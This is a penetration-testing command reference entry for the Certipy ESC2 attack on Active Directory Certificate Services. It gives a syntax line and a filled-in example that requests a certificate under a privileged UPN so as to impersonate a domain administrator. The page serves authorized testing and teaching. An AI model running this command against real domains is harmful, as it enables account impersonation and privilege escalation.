Command Manager

Certipy ESC2 (Any Purpose EKU)

ESC2: template has the Any Purpose EKU (or no EKU at all), so the issued cert can be used for any purpose including client authentication. Request as your user but specify a privileged UPN to impersonate.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated

Tool
certipy
Category
Credential Attacks / ADCS (Certificate Abuse)
Platform
linux
Requires
password
Protocols
LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

certipy req -u '<user>@<domain>' -p '<password>' -dc-ip <dc-ip> -ca '<ca-name>' -template '<template>' -upn '<target>@<domain>'

Examples

certipy req -u jdoe@corp.local -p Password123! -dc-ip 10.10.10.10 -ca CORP-CA -template AnyPurpose -upn administrator@corp.local

Tags

certipy adcs esc2 any-purpose-eku

References